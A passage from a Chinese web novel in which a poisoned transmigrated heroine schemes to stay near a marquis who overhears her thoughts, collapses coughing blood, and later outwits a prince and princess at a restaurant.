夏清棠狐疑,“是吗?”,她又向前走近晏无咎几步,“侯爷,你脸怎么红红的,要不要给你找个大夫”。 【晏无咎脸这么红,不会真是因为我鼻子碰到他嘴,把他给气到了吧】 这女人脑子里到底装的什么,晏无咎脸上红晕淡了些,故作冰冷道,“本侯没事,你离我远点”。 呃…… 夏清棠撇嘴,【切切切,拽什么拽!】 “哦”,夏清棠往后退。 晏无咎眸光不明,站在原地,他需要冷静冷静。 夏清棠皱眉,晏无咎犯病了?她目光落在晏无咎腰间的玉佩上,朔砚辞想要这玩意儿?呵呵。 敏锐察觉到夏清棠盯着自己腰腹处看,晏无咎浑身一紧,嗓音带着些暗哑,“你在乱看什么”。 夏清棠:“没什么,我就是觉着你这玉佩挺好看的” 晏无咎:“想要?” 夏清棠看出这男人又憋着坏了,“不想要”。 晏无咎:“想要也不给你” 夏清棠眼皮跳了跳,合着是不管她说啥都要说这句话呗。 晏无咎心里装着事,没再搭理夏清棠,蒙头就往自己院里走,夏清棠快步跟在他身后。 离得很近,近到晏无咎能听到夏清棠的心声。 【今日毒发的时间快到了,我得跟着晏无咎】 毒发时间快到了,跟着他干嘛?他又不会医术,他又不是安瑾,晏无咎周身气压低的吓人。 【怎么突然感觉冷冷的】 夏清棠眼珠子一转,悄眯眯在晏无咎身旁说,“侯爷,我掐指一算,你近日又有大灾!”。 晏无咎脚步不停,闻言冷冷的瞥了夏清棠一眼,“天天给本侯看天像算命,你折了多少寿命了”。 夏清棠大义凛然道,“为了侯爷的安危,一切都值得!”。 晏无咎:“就这么喜欢我?” ……夏清棠咽了咽口水,【问的这么直接,给我尬住了】。 “怎么不回答,还是说你另有所图,说出来,我不会怪罪你” 夏清棠心中警铃大作,“是,都是因为我太喜欢侯爷了”。 晏无咎冷笑,“皇上要我纳你为妾,我没同意,你是不是很伤心”。 夏清棠失落点头又慌忙摇头,“失落是有的,但是转念一想,我不能这么自私,为了自己的私欲,强迫侯爷接受不喜欢的事情,而且……而且我确实配不上侯爷你”。 【以上所言,均为虚言,这个晏无咎真会给自己脸上贴金,呵呵哒】 晏无咎持续冷笑,“你还挺有自知之明,念在你帮我了不少的份上,你若是想则夫婿,我可以帮你”。 夏清棠惊讶,“真的吗?侯爷,你这么好心”。 晏无咎咬牙,面上露出和善笑容,“当然,我一直很好心”。 夏清棠眨眨眼,斟酌的开口,“侯爷,若是可以话,可不可以将萧公子引荐给我”。 晏无咎阴恻恻的开口,“当然可以,不过,你能告诉我为何是萧公子吗?”,这女人难道不应该第一个提到安瑾吗,难道是直到安瑾和萧策是好友,打算一网打尽? 胃口真大。 第二十九章抓紧你的救世主 夏清棠:“萧公子温润如玉,一表人才,肯定有很多女子会心动” 【看看你,天天臭着张脸,不知道的还以为谁欠你钱了】 晏无咎:“是吗?你也心动了?” 夏清棠立刻反驳,“当然不是,我只是想和萧公子结识一下,觉得他蛮有趣的,而且萧公子居然还懂医术”。 晏无咎垂眸,难道这女人是把萧策当成安瑾了? “怎么,你对会医术的人感兴趣?” 夏清棠:“还行吧”。 【主要是小命急需医术来救,而且会医术确实是很牛逼】 晏无咎脸上神色缓和了点,这个笨女人果真是认错人了,萧策是个上战场杀敌的人,哪懂什么医术。 晏无咎:“行,那我就勉强给你引荐一下吧”,省的这女人整日将歹心放在他身上,他又补充,“看在你整日为本侯破灾的份上”。 夏清棠眼睛亮晶晶,“侯爷你真好”。 晏无咎嘴角不自觉翘起,算这个笨女人有眼光。 【实锤了,晏无咎真的是个阴晴不定的老男人,刚才浑身还是狂风暴雨,看看现在,不知道又搁那儿乐呵啥呢】 夏清棠沉思中,完全没注意到身前人的周身又变了的危险气息。 晏无咎:“你不是说我又有大灾吗?现在这是光想着萧公子,就把本侯撂到脑后”。 “还是说,夏大丫鬟你在心里偷偷说我坏话?说的很开心” 夏清棠一惊,【见鬼了,看来是晏无咎被骂习惯了】。 “侯爷,怎么会呢,我们快去商讨你大灾的解决办法吧”,夏清棠左看右看,压低声音谨慎道,“侯爷,我们小心隔墙有耳”。 “说吧” “坐下,好好说” 昏暗的书房内,晏无咎潇洒的坐在椅子上,一派气定神闲。 夏清棠神神在在,一副神算子附身的模样,“侯爷,这大灾我虽不能明确告诉你,但是破解之法,我却可以很明确的告诉你”。 “行,请说” 夏清棠含蓄的看了一眼座位上的男人,“很简单,就是侯爷你时常与我待在一起便可”,说完,脸上还适时升起一抹红晕。 晏无咎佯装不解,“这是为何?”。 夏清棠面颊带着红,神情却是异常严肃认真,“侯爷,这我就必须说你一句了,即使身为武将,也得多看书学习啊,你啊难道没发现,每次你一有异常的时候,我一出现,所有问题就解决了吗?”。 晏无咎恍然大悟的长哦一声,“确实是我太蠢了,你这样一说,好像真的是这样哎”。 夏清棠满脸孺子可教也,“嗯,所以破灾之法不就是与我时常待在一起吗?”。 【嘿嘿嘿,跟晏无咎待在一起,那可就方便太多了,嘎嘎嘎!】 晏无咎无奈的闭了闭眼,“你说得对”。 夏清棠直接露齿标准笑。 晏无咎:“这么说,夏大丫鬟还真是我的救世主啊” 【救世主……】夏清棠默默叹了一口气。 【苦!各种意义上的苦】 夏清棠突然猛拍桌案,“对,没错,你现在相信我是你的救世主了吧!”。 晏无咎点头,莫名的乖巧。 夏清棠得意,“所以,还不快把我奉为你的座上宾”。 晏无咎点头,好像有什么不对的地方……不对!他什么时候这么听话了,他可是个闷骚毒舌阴阳怪气老男人! 夏清棠看到晏无咎如此听话乖巧,满意的点点头,【听话就好办了,这样就方便刷好感度,加快解毒速度了】。 她又眯着眼细细描绘晏无咎此刻的面容,【嗯,这个样子看着帅多了】。 正要发作的晏无咎,听到这话情绪又平静了许多,嘴角勾起,浑身洋溢着得意。 晏无咎:“想当我的座上宾啊,那以后是不是该我伺候你了”。 夏清棠双眸登时一亮,感觉脑子都清明了许多,她赞赏的睨了晏无咎一眼,“哇塞,晏无咎,你简直太聪明了,你说的简直太对了!”。 晏无咎这是第一次听到夏清棠喊他名字,而且,这个女人看起来好开心,能被他伺候就这么开心?看看不值钱那样儿。 夏清棠见这个闷骚毒舌阴阳怪气老男人又不说话了,还一副便秘的死表情,她轻咳两声,一脸严肃,“怎么,你反悔了?”。 【这个狗男人难道这么不禁夸?不行啊,这男的不行啊】 晏无咎冷哼一声,“当然没有”,紧接着他脸上又浮现出坏笑,“不过,我没伺候过人,弄疼你了,你记得忍着点”。 夏清棠拍桌,脸上也浮现出坏笑,“放心吧,你不会调教下人,我可是很擅长的哦”。 晏无咎内心不屑,他才不会乖乖让这个笨女人调教。 夏清棠拍拍胸膛,说下一番豪言壮志,“晏无咎,你放心,只要我还活着,我就不会让你死!”。 【嘎嘎嘎!大反派下士还不快来跪谢小炮灰将军】 晏无咎垂眸注视夏清棠,嘴角不自觉翘起,这女人心里活动倒是丰富多彩,“啧,你这么牛?”。 啪! 晏无咎愣住,目光落在突然出现在自己手上的手,“你……!”。 “夏清棠!” 晏无咎慌乱起身,连忙抱起脸色发白,昏死过去的夏清棠,刚才不是还在和他拌嘴吗? “林木!林木叫大夫!快啊!” 噗! 晏无咎瞳孔骤缩,鲜血浸入他的衣襟,夏清棠的嘴角还在不断往出吐血,白净的脸蛋上都是血渍。 “怎么还在吐” “大夫怎么还不来”,晏无咎大手慌乱的拿起面巾,竟然试图给还在吐血的女人止血。 “夏清棠!别吐了,再吐你就要血竭而尽了!” 慌乱的喊叫声中,虚弱的声音响起,“晏无咎……晏无咎”。 “我在我在” “晏无咎……”,夏清棠现在眼前一片白茫茫,晏无咎在哪儿。 晏无咎大喊,“我在!”,大手紧紧擒住在空中乱抓的双手。 夏清棠安静下来,双眼空茫的看了一眼晏无咎,彻底昏死的前一刻,不放心的嘱咐,“不要松手,不然你就要失去你的救世主了”。 两眼一闭,夏清棠彻底昏过去。 第三十章追着亲 晏无咎双眼泛红,大手牢牢抓紧夏清棠的双手,他的身上,脸上都是夏清棠吐出来的血。 这么多血,吐了这么多血,怎么这么多血,是什么毒。 “侯爷侯爷,大夫来了!” 林木带着找来的大夫匆匆赶来,被屋内的场景惊得愣在原地,侯爷和夏姑娘身上都是血!! “大夫大夫,快去快进去”,林木催促。 大夫也被吓得不轻,颤颤巍巍上去要给昏迷的女子把脉,“侯…侯爷,我过来把脉”。 晏无咎想到夏清棠昏迷前的话,毫不犹豫的将两人相握的手递到白发苍苍的大夫面前。 白发大夫犹豫,“这……”。 晏无咎:“就这样,别废话” 白发大夫,“哎!”,大夫脸上神色有点复杂,这个脉象把着有点奇怪啊,活蹦乱体?不对,要死不死?也不对啊,这…… 晏无咎神色阴沉,目光凝在床榻上女人红白交加的脸上,“能看出来吗?”。 大夫把了半天,终于感觉摸对了,对了对了,这个脉象就对了,平稳健康! “侯爷,这位姑娘应该就是气急攻心,加上身体不好,平常要多给她补补身子” 晏无咎闻言,叹了一口气,这是看出来个屁,他示意,“你走吧,林木,付钱”。 晏无咎试探的动了动手,发现稍微一动,夏清棠就立刻抓紧,他松了一口气,没死就行,没死就还有救。 “唔!” 夏清棠心口一痛,眉头紧皱。 听到声音,晏无咎下意识靠近,想听听夏清棠是不是在说呓语。 【晏无咎,晏无咎晏无咎】 ?怎么昏着,心里还想着他。 晏无咎继续往近靠,想在听听这女人在说什么,他压低声音,“夏清棠,你醒醒呗,你醒了我找神医来给你解毒”,安瑾回来了立马给你叫过来。 夏清棠无意识嘟囔,“晏无咎……摸,让我摸摸”。 晏无咎怔住,“给你摸给你摸,真是的”。 ……这么迷恋他的身子。 昏迷中的夏清棠像是触发什么代码一样,双手顺着晏无咎的大手就往上摸,从手到胳膊,再到脖子,再到脸颊,然后,双手包住晏无咎的脑子,猛地往下拉。 飒! 整个过程离奇的晏无咎根本想不到下一步的走向,就像现在,他和夏清棠鼻尖的距离不过一指,晏无咎现在浑身寒毛直立,脖子以上可以被看到的地方都烧的通红。 他闭眼屏气,“夏清棠,你要不要睁开眼看看你在干什么,我告诉你,你要是再不松手,你醒了之后绝对会后悔的”。 包在脑后的手还在往下拉,晏无咎双手撑在床侧,呼吸间都是夏清棠身上的气息,淡淡的香气,还有血腥味儿,这个女人昏迷了力气竟然还这么大。 噗呲! 夏清棠又猛地偏头吐了一口血,脸色愈发苍白。 晏无咎一急,就想挣脱出夏清棠的包裹,谁曾想,夏清棠又条件反射的用力向下一拉。 唇瓣上一片柔软与湿润,意识到那是刚吐出来的血,晏无咎的第一个反应,赶紧闪开。 而昏迷的夏清棠只觉得好舒服,浑身疼死减轻,于是更加用力的吸吮。 晏无咎脑内砰的一声,只剩一片空白,唇瓣不自觉开始回应,晏无咎的第二个反应,不想闪开,很舒服。 夏清棠舒服的喟叹一声,抱着晏无咎头的双手也逐渐松开,整个人往回倒,晏无咎察觉到嘴上的唇瓣在远离,不满的伸着头向前追赶。 “晏无咎” 这一声喊得晏无咎浑身一颤,他意识到自己在做什么,慌乱起身。 他在干什么,他在追着这个女人亲,晏无咎羞愤欲死,躲闪着目光不敢往床上看,等了一会儿,迟迟不见女人说话,晏无咎看去,悄悄松了一口气,还好没醒。 晏无咎:“夏清棠?”,他又凑近,发现夏清棠脸色好了许多,内心感到惊奇,他又试探的问了一句,“夏清棠,还要不要抓着我的手了”。 没回应。 晏无咎抓起夏清棠的手覆在自己手上,一松手,夏清棠的手就滑下去了,他垂眸看了半天,又牢牢抓紧了夏清棠的手。 内心默默补充一句,这女人应该还不想松手。 晏无咎沉浸在自己的思虑中,被一声声喊叫打断思绪,他皱眉,林木真的是越来越咋呼了。 “侯爷,侯爷,又有事了” 晏无咎:“啥事儿?” 林木猛吸一口气,“又又又又、又有请帖了”。 晏无咎很不耐,“他们天天是闲的蛋疼,一天就想着给人整点阴招”。 林木挠挠头,“侯爷,这次不是给你的,是给夏姑娘的”。 晏无咎冷笑,“都一样,都是一群损了阴德的玩意儿想点阴招要损人”。 林木又挠挠头,“侯爷,那这请帖……拒了?”。 晏无咎拿过林木手里的请帖,“品茗会?嗤,附庸风雅,贺府?”,晏无咎想到了众人口中年轻有为的贺太傅,登时满脸复杂。 他挥挥手,“拒了,就说表小姐生病了”。 林木哎了一声,正要去回帖, “等等” 晏无咎眼眸一亮,飒的看向床榻上的人,“你醒啦!”。 夏清棠点点头,她现在感觉自己焕然一新,浑身强劲有力,“什么品茗会,我好像还听到啥贺府”。 林木抢答,“嗷,夏姑娘,是贺府送来的请帖邀请你去参加品茗会”。 晏无咎皱眉,这个女人一听到贺府就醒了,不会是认识什么年轻帅气有才华的太傅吧…… 晏无咎冷冷补充,“不想去就拒了”。 夏清棠思索,确实,邀请她这个名不见经传的小人物,能是什么好事,要不就是什么下马威羞辱大会,要不就是朔灵汐搞得,她大手一挥,“行,就听你的”。 晏无咎莫名松了一口气。 第三十一章夏清棠的救世主 这几天夏清棠真的是体会到什么叫做奴隶翻身把歌唱了。 她惬意的喝了一口茶,得意洋洋的坐在亭中享受秋日阳光,现在晏无咎已经相信她对他有用了,等再过几日,她一毒发,使使苦肉计,就能拍屁股走人了。 “快哉!快哉啊!哈哈哈哈哈哈” “你在傻笑什么?” “哎哟我去,跟个鬼似的”,夏清棠一激灵,幽怨的看向出现在她身后的晏无咎。 晏无咎站直身子,一派矜持的说,“你这几日在我这侯府可是过的舒爽”。 夏清棠喝了几口茶,一派气定神闲,“尚可”。 【跟着我不知道你讨了多少便宜,得了便宜禁止卖乖哦】 晏无咎眼里染上笑意,径直坐下,自顾自给自己倒了一杯茶,“朔景明给你的赏赐送到府上来了”。 夏清棠一时没反应过来,“朔景明是谁?嗷嗷嗷!”,【想起来了,是狗皇帝!】。 “想起来了想起来了,所以赏赐在哪儿”,夏清棠满脸期待,眼里金光闪闪。 晏无咎:“跟上” “哇——!” 整整两箱金光闪闪的金子,还有漂亮的绸缎,夏清棠满足的抚摸着大金锭,就是金子太重了,日后要是想跑了的话,不好带走,得找机会换成银票。 晏无咎好笑的看着夏清棠这副财迷样儿,没一会儿就被林木喊走了。 萧策来了,和晏无咎在书房,他面色凝重,上前低语,“将军,这次皇上派你去疏浚京郊漕运的河道,还要你安置流民,实在是不好办”。 晏无咎冷笑,想到朝堂上那些个大臣异常精彩的表情,他神色愈发冷沉,“一群阴险的老家伙”。 夏清棠红光满面的站在自己的屋外,想到屋内放着的金子和绸缎,即使身上的毒还没解,也感觉对未来充满了向往。 她现在要去找个钱庄换点票子,浅浅潇洒一下。 哈哈哈哈哈哈。 夏清棠找到林木,“林侍卫,这京城里最近的钱庄在哪儿”。 林木:“就在满香楼……吧啦吧啦……” 夏清棠:“OK!” 林木望着夏清棠离开的背影,挠挠头,“哦啥?”。 …… 夏清棠畅快的走在街上,距离今天毒发还早呢,她要玩! 夏清棠摸了摸荷包里刚换出来的银票,决定先去这京城最大的楼,满香楼搓一顿好的。 “小二!来一间包间” “好嘞”,店小二一看是个眼生的,便上下打量了几眼,衣裳穿的倒是不错,直到看到夏清棠手里的票子,他才乐呵呵带路。 看到手里的古代版菜单,夏清棠不禁咂舌,不愧是京城最大的酒楼,这要价可真是毫不手软。 “这个这个、这个这个这个”,夏清棠畅快的一通点菜。 店小二笑得满脸油光,“好嘞,客官您稍等”。 砰。 房间里有细微动静,夏清棠眼神一凌,手中茶杯唰的甩出,屏风被击倒,两道人影极快跳出,冲向窗户。 唰唰唰! 桌上所有茶具都被甩出去,只见就要跳窗的两人又猛地关上窗户,措不及防,身上被茶具砸了个遍。 “汐姐,下面有官兵” “闭嘴,我看到了” 江汐汐冷冷的呵斥完,探头就对上屋内女人带着戏谑的眼神,待看清面容,她瞳孔骤然一缩,见了鬼了,上次是见了个身法几乎一模一样的,这次是见了个长得几乎一模一样。 辜战也在一旁震惊的拉扯江汐汐的袖子,“汐姐,这也”。 “嘘!” 夏清棠没错过两人眼里的震撼疑惑和一闪而过的喜悦,她扭回头,淡淡说了一句,“我要叫了”。 “啊啊啊啊啊,救命啊!” 骤然响起的尖叫声让两人瞪大双眼,辜战一个滑跪直接滑到夏清棠面前,“姐!姐姐姐!我说真的,别叫!”。 江汐汐别过眼。 夏清棠起身躲开,“不像我叫,你俩就赶紧走,别在这儿碍着我享用美食”。 辜战眼神一亮,和江汐汐对视一眼,嘘声说走。 窗户那是肯定不能走了,只能走门了。 哒哒哒哒…… 门外又是踢踏踢踏的脚步声,两人定耳一听,立马有返回各自寻藏匿之处。 夏清棠喝了口茶,这俩人是真不把她当回事儿啊。 咚咚咚! “进” 吱—— 门开了,空气瞬间寂静。 店小二弯着腰进来,“客官,先给您准备点餐前小菜儿,您先用着”。 夏清棠点点头,“你们这酒楼该放点猫了,有老鼠啊,万一吓跑哪些尊贵的客人可就不好了”。 店小二连连点头,“是是是,客官您说的对”。 “今日个儿不知道咋了,外头正有官兵查呢,若是意外冲撞客官,还望多多见谅”,店小二赔笑,掌柜的可是说过,像这种出手阔绰气质高贵,却又不知道身份的人,一般都大有来头,必须得趴着伺候,他可得给伺候好了。 夏清棠自然看到了角落处露出的隐隐寒光,她挥手,“你下去吧”。 尝了口小菜,还不错,加点麻油应该会更好。 唰! 空气波动,刹那间,房内局势瞬间转变。 一VS二。 越交手,江汐汐和辜战两人越心惊,这下可真不是只有脸长的像了。 我靠! 两人对视一眼,眼里是地崩山摇。 夏清棠擒住辜战,手里拿着的锋利瓷片紧挨辜战颈部大动脉。 辜战眼里的欣喜震惊瞬间转化为惊恐,“别!别别别别,你千万别冲动”。 “我俩是友好的” 夏清棠手下一个用力,辜战哀嚎一声,“友好?那刚才跟我在这儿打起来的是谁”,夏清棠满脸这话你信吗。 江汐汐恢复一贯的高冷模样,“这位姑娘……”。 两道目光望着江汐汐,江汐汐咽了口唾沫,“刀下留人”。 辜战闭眼,汐姐这张笨嘴啊! 夏清棠觉得这个女生的打开方式是不是不对,怎么有点……有点呆呆的。 江汐汐好像浑然未察觉到眼前两人的情感变化,她又说,“杀了他你会后悔的”。 夏清棠歪头,“嗯?”。 辜战脖颈上已泛出红痕,看到血液,江汐汐眼神变了,垂落的双手悄悄放出短刃。 辜战见状,连忙出声,“汐姐!”,他使劲儿眨眼,这个女人身份非常可疑,千万不可冲动行事。 江汐汐收回短刃,豁出去一般平静的说道,“其实,我们是来救你的”。 辜战激动,“对对对!我们两个其实是你的救世主!”。 “……” 夏清棠蚌住了,额头划过几道黑线,这个说法真耳熟。 第三十二章杏仁过敏 夏清棠无奈扶额,她冷笑,“你说这话还不如给我拿点银子来的实在”。 迎面突然飞过来几块银色的物体,身体比反应更诚实,夏清棠低头不可置信的看着自己手里白花花的银子。 江汐汐越看就越觉得这个财迷样儿的女人像她家小主子,“只有这些了,都给你”。 辜战很肉疼,喵的,那可是白花花的银子啊。 “这位姑娘,可否放开在下了” 辜战承认,这绝对是他这辈子最斯文的一天。 夏清棠:“等着” 辜战被紧紧绑起来,捆猪肉一样的五花大绑。 几人正要开口论一论“救世主”这个话题,敲门声响了。 咚咚咚! 屋内格局再次变化,夏清棠一个脚踹过去,辜战利索滚到桌底,江汐汐伸手矫健,也很快藏起来。 “进!” 店小二弯着腰走入,身后跟着一个个身姿摇曳,容貌端庄的女子,手中端着托盘,托着菜。 一盘盘菜被端到桌子上,店小二介绍菜名的声音响起。 “赤金盘蒸麒麟脯!” “金齑玉脍拼珍馐,琉璃盏盛水晶脍,龙凤呈祥八宝鸭,珠翠攒丝芙蓉蟹,琥珀蜜炙江瑶柱,云顶瑶池酿雪蛤,琅玕碗炖人参鸡” 店小二顺口溜似的一口气说完,“这位客官,您今日可是幸运,这赤金盘蒸麒麟脯可是今日的最后一份,这些菜绝对包您满意,您慢慢品尝”。 房间里再次恢复寂静,只余食物的飘香和几不可察的吞咽口水的声音。 夏清棠暂时不想和这两人掰扯,她看出来了,这俩人好像对她确实是有种莫名的感情,但绝对不是杀意。 她要先吃饭。 “赤金盘蒸麒麟脯,麋鹿肉蒸了蒸” “金齑玉脍拼珍馐,生鱼片蘸酱料,再放点菜” “琉璃盏盛水晶脍,排列整齐的肉丝,嗷,原来碗用的是琉璃碗” 夏清棠笑了,甘!标题党中的天才啊! 绝了。 夏清棠继续品鉴,味道还行,只能说,不愧是有钱人吃的东西。 桌子下的辜战好生煎熬,身体和心理上的双重折磨,去他的!他什么时候这么屈辱过! 轰隆轰隆! “去你的” 夏清棠一脚踹过去,正好就踹到辜战屁股上,“安生点”。 辜战羞愤欲绝,他汐姐都没踹过他屁股。 轰隆轰隆!! 夏清棠皱眉,一脚踹过去,直接把桌下的男人踹出来了。 “说说,怎么个事儿,你俩打算咋当我的救世主” 江汐汐抿唇,还不知此女到底是何身份,是何心性,还是不可轻举妄动。 她刚才真是差点就被冲昏了头脑。 江汐汐:“你……” 辜战一声大喊盖住江汐汐的声音,“对对对,我们真的是你的救世主”。 “先把我解开,我告诉你” 夏清棠哈哈一笑,“你先说,说得好,我请你吃饭”。 辜战又咽了咽口水,“别让狗贼…不是,别让这的皇上看到你的脸”。 夏清棠皱眉,这话是真有点意思了,“为何”。 辜战神秘兮兮,“因为……他会杀了你!”。 夏清棠又看了眼一旁高冷的女人,“你来说”。 江汐汐点头,“嗯,是会杀了你”。 夏清棠面上不信,实则内心已经炸了花,说实话,她真有点害怕,难道……这两人也是穿书的?知道什么高级隐秘信息?然后她对他们两个有用! 这不就是她和晏无咎之间的事儿吗? 夏清棠斟酌了斟酌,试探开口,“3.14……?”。 “……” 两人皆是沉默。 夏清棠想,可能大概也许是这俩人数学不好,她又试探,“宫廷玉液酒?”。 “……” 还是寂静,夏清棠摸下巴,难道……这俩人其实是10后!太年轻了,年轻人…不对,应该说这种少年人的梗有啥? “你若折我翅膀?” “爱你孤身走暗巷!” 江汐汐和辜战两两相望,仍是无言。 夏清棠:“……” 好吧,不试了。 夏清棠回想起自己和景明帝的几次见面,好像确实都没正式在景明帝面前露脸。 江汐汐眸光久久落在夏清棠脸庞上,良久,她说:“别吃杏仁”。 夏清棠怔住了,惊讶的看着江汐汐。 门外又传来动静,真的得走了,江汐汐扛起扭曲的辜战,三下五除二就消失在夏清棠依旧怔愣的目光中。 窗户还在煽动,夏清棠的思绪也飘走了。 是原主也对杏仁过敏吗,为什么原主的记忆里并没有相关的。 靠!好扯。 不能让景明帝看到她的脸,从刚才那俩人的说话中,她大概知道,这俩人要不就是逆贼要造反的,要不就不是朔曜王朝的,是来灭景明帝的。 惊!原来书中低微的炮灰卧底竟有神秘身份!!? 靠了…… 夏清棠暂时扔掉有点神的脑子,先进食这一桌子精致的饭菜。 门外的动静越来越大,直到夏清棠听到熟悉的声音。 “什么!你们竟然把最后一份麒麟肉卖出去了?!” “简直是岂有此理,本公主还没吃呢,到底是哪家的,竟然敢骑到本公主头上” 店小二卑微的声音传来,“哎呦,公主哎,都是小的今日脑子犯抽了,你看这……”。 朔灵汐恼火极了,今日好不容易搞来贺柏陪她喝酒,这酒楼竟然敢不给她面子。 “这间” “本公主要在这间吃饭,还不快去安排” 店小二一脸为难,“公主,这间有贵客了”。 朔灵汐来了兴致,“怎么,是皇子还是哪家的千金大小姐”。 店小二身子颤了颤,“应该……应该是哪家的小姐”。 朔灵汐直接一个箭步上去就豪横的要把这门给打开。 啪! 手上传来痛意,朔灵汐恼怒的看向紧闭的房门,伸手指向身后的随从,“给本公主开门”。 咔咔咔嚓嚓嚓! 门开了,赫然看到房中坐着悠闲用菜的夏清棠。 朔灵汐可不管这是谁,身上穿的那么破,一看就是什么穷苦人家的来这壮阔了。 她正要发怒,一道温润的男声唤住她,“皇妹,怎么还不进去”。 朔千钰走过来,身旁还伴着一位身形更挺拔,外貌更俊气的男子。 朔灵汐勉强收住狰狞的表情,扯了扯嘴角,“皇兄,贺太傅”。 第三十三章魔法打败魔法 朔千钰:“皇妹,先进屋” 朔灵汐:“皇兄,你看嘛,明明是因为有不长眼的东西在这屋子” 朔千钰碍于有外人在场,不好附和朔灵汐,只能佯装斥责道,“灵汐!谨言慎行”。 朔灵汐没了声音,都怪这个贺太傅,要不然皇兄才不会凶她,哼,皇兄可是说了,等他登上皇位,天下的男子任她选,到时候,这些男的不过就都是些取悦人的玩意儿罢了。 朔灵汐面上伤心,“皇兄,都是我的错,我只是太想让贺太傅在最好的屋子了”。 一旁的贺柏冷不丁被戳到,笑了笑没说话。 夏清棠在里面听了老久了,眼看菜吃完了,她也该走了。 朔千钰看到走出的女子,“这不是老晏府上的丫鬟吗?”。 朔灵汐瞪大双眼,该死的晏无咎!卑微又低贱的下等人!在她面前装的不近女色,自己府上却有这么漂亮的丫鬟。 呵。 朔灵汐扬起下巴,趾高气昂,“你是晏无咎府上的丫鬟?”。 夏清棠摇头,“托圣上的福,我是镇北候府上的表小姐”。 店小二在一边懊恼,原来就是个丫鬟啊,为了这种人得罪公主,可真是不值当啊。 朔灵汐被气到了,她还没去找呢,你倒是送上门来了,“就是你啊,一个卑贱下等的丫鬟,还真把自己当主子了?”。 说着,她又故作疑惑的看向贺柏,“贺太傅,本公主没记错的话,前些天你贺府送到这位表小姐手上的请帖,可是被人家给拒了,哈哈哈!”。 朔千钰在一旁制止,“灵汐!”。 朔灵汐可不管,她现在看谁都不顺眼,看的不爽的,直接毁掉就好了。 “贺太傅,看来你的面子也没大嘛” 贺柏:“公主,这位姑娘确实是有拒绝任何请帖的权利” 朔灵汐还要发作,被旁边的朔千钰制止了,“皇妹!忘了我讲的了吗?”。 夏清棠:“我还有事儿,先走一步了” 朔千钰拧眉,“站住!”,这么狂,简直跟那个晏无咎一摸一样!狂的目中无人,狂的无法无天! “看来,晏无咎还是没好好教你规矩这俩字怎么写” 夏清棠:“啊?我知道这俩字咋写啊,倒是,四皇子你,那天走的那么急,没发生什么事儿吧” 朔千钰瞪眼,难道她看到了?不可能,他是在马车里才拉的多了些,在马车外只有那些,这个女人怎么可能会看得到。 朔千钰安慰自己,正要发作,想到身旁的贺柏,他立马换了套说辞,连上重新挂上和煦的笑容,“哈哈,夏姑娘真有趣,不过说来,无咎兄这府上可真是有钱的很呐,这……一个表小姐?都能来这满香楼”。 “还是包间,哎!本皇子好像看到满满一桌子空盘子” 朔灵汐跺脚,“皇兄!最后一盘麒麟肉就是被这个女人吃了,我可是要带贺太傅享用的”。 朔千钰煞有其事,“唉!无咎兄那些个军队经常吃不饱,怎么、怎么自家的表小姐出手都如此阔绰,唉!”。 “贺太傅,你看看这……我也是为无咎兄担忧啊” 夏清棠无语了,这个死装绿茶男,又搁这儿装开了,谁信谁不通人性! 贺太傅避而就轻,“这位夏姑娘胃口倒是不错,一桌子菜都吃完了”。 夏清棠:“可不是嘛,说来惭愧,我们侯府日日是馒头咸菜,这还是前些天圣上上了点银钱,我家侯爷念着我,这才了却我这个丫鬟的心愿。 “其实也没啥,就是我这个下等人想来尝尝你们这些上等人平日里都是吃的些什么山珍海味,唉!今日一来,可是把我给吓到了,这一盘菜的价钱都够我这种下等人吃两辈子了!” 朔千钰越听越不对劲,想要开口堵住这女人的嘴,却没想到一贯自持矜贵的贺柏说话了。 贺柏:“夏姑娘不必妄自菲薄,自古以来,民为邦本,本固邦宁,岂可轻慢黔首” 夏清棠面上感动敬佩,实则内心非常不屑,这些当官的也就是会说好话了。 朔千钰拍马屁,“不愧是太傅啊!本皇子实在是敬佩”,他又转身对着夏清棠说,“夏姑娘既然已经吃完,还是快些回去,一个女子这样在外,总归是不好的”。 夏清棠微笑,“四皇子,可不可以拜托你一件事”。 朔千钰一听这话,登时又感觉自己高大起来,任他晏无咎再厉害,却还是不如自己,这不,自家府上的丫鬟求人都求他这儿了。 朔千钰温润如玉,“但说无妨”。 夏清棠面上浮起红晕,好似鼓起了很大的勇气,“四皇子,你不要再来侯府向侯爷要东西了。” “方才你也说了,侯爷的军队吃不饱穿不暖,侯爷也整日是馒头就咸菜,四皇子你都来满香楼了,这么有钱,还是要像贺太傅说的一样,多多为民考虑啊!” 她一股脑说完,声音很大,持续在满香楼的上空萦绕。 很快,出现不少从房里探出头来的吃瓜者。 朔千钰要气炸了,但还是要保持微笑,“夏姑娘,这话可不能乱说啊”。 朔灵汐也要气炸了,可恶的卑贱丫鬟,居然让这么多人来看她们的笑话,“看什么看,还不给本公主滚回去!”。 能来这吃饭的都是有钱有权的,知道皇家实情的,压根就不把这什么灵汐公主放在眼里,经过这朔灵汐这一呵斥,议论声大了,目光也更集中了。 “没想到镇北候这么惨,居然日日吃馒头和咸菜” “是啊,那种糠咽菜他居然天天吃” “我可是没少见四皇子和他妹妹来这满香楼,这么有实力,还去找穷光蛋晏无咎要东西啊” “可不是,看那表小姐多可怜,得了赏赐好不容易来尝尝上等人嘴里的滋味,就被欺负了” “……” 舆论的力量是恐怖的,听着这些人密密麻麻层层叠叠的议论,朔千钰真的要气炸了,无论这些话会不会传到父皇的耳朵里,都已经严重影响到他在朝堂中的声誉和在民间的影响力。 夏清棠可怜兮兮的看向朔千钰,“四皇子,你不会生气吧,我这也都是为你和侯爷好啊,你看,这么多人都看着呢”。 “大家都明白这么简单的道理呢” 嘿嘿,气死你气死你气死你,趁你发育,要你命! 第三十四章都是什么好鸟 朔千钰忍着怒气挤出一抹笑,“本皇子当然不会生气”。 夏清棠甜甜一笑。 朔千钰眼神狠厉,藏着不易察觉的恶意,喉头梗着一口气,上不来下不去,他又说,“唉!可惜了,今日好不容易约到贺太傅,本想着好好来畅聊一番,唉…可惜了”。 朔千钰带着谴责和愧意的目光在夏清棠和贺柏之间徘徊。 夏清棠呵呵一笑,“四皇子别伤心了,我马上就走了,你们快进去享受吧”。 朔灵汐趾高气昂的拦住夏清棠,“给本公主站住!”。 吃瓜群众来劲儿了,这皇家的瓜虽然吃的不少,但是第一次现场吃啊。 桀桀桀!还是素来温润示人的四皇子和一贯刁钻恶毒的疯公主,这不还有个新人物,据说还是镇北候府上丫鬟新变的表小姐。 夏清棠疑惑看向朔灵汐,“你还有事儿?”。 